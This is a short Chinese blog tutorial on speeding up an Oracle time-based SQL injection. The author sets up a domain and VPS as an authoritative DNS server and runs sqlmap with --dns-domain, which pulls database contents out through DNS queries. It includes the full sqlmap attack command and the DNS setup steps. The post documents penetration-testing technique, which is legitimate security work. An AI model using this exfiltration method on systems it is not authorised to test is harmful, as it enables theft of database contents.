sqlmap使用_使用sqlmap结合dnslog快速注入

0x01 起因

实际项目中遇到一个oracle延时注入,需要获取数据,几十个库几百张表,等找到关键数据不知道要到哪天.

测试支持带外请求

8d04d607a2a0384dda69e757d7c2a7d9.png

71534736f861d01d01f753052d054bcf.png

于是想用使用sqlmap利用DNS进行OOB注入

0x02 阿里云主机与DNS解析配置

1.首先购买一个域名并且进行备案,然后还需要一台vps

966ec3a00835ca16eb5a8d7724537f7d.png

3ec51474618c35b5d82d06ff59011fe4.png

2.配置DNS解析

创建DNS服务器ns1.cwkiller.top-->vps ip ns2.cwkiller.top-->vps ip

7e6e113238653a48c1c6025a6f2df506.png

修改DNS为ns1.cwkiller.top ns2.cwkiller.top

dad6134c929aa050a26ddecef59bc6ec.png

解析域名

67c8a167ea7b552f7c939371fe00c47c.png

添加ns1、ns2、*三个主机记录记录值为vps ip

3bf6f0a2a5cbc013e4ee3f14bef75621.png

等待状态正常和显示这个

793bf005fb81d045b192d3d86d16db76.png

在本机ping ceshi.cwkiller.top vps执行 tcpdump -n port 53 收到请求说明配置正确

d29a6764f89bb9f7501e1718dee4df78.png

0x03 使用sqlmap --dns-domain快速注入

使用以下命令获取表名

 python sqlmap.py -r 2.txt --dbms=oracle --dns-domain=cwkiller.top -D app --columns --batch

88a7dfd9277c28d0782cf5b9fdb1d906.png

选中部分代表DNS通道建立成功,可以看到一秒钟能跑多条数据.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值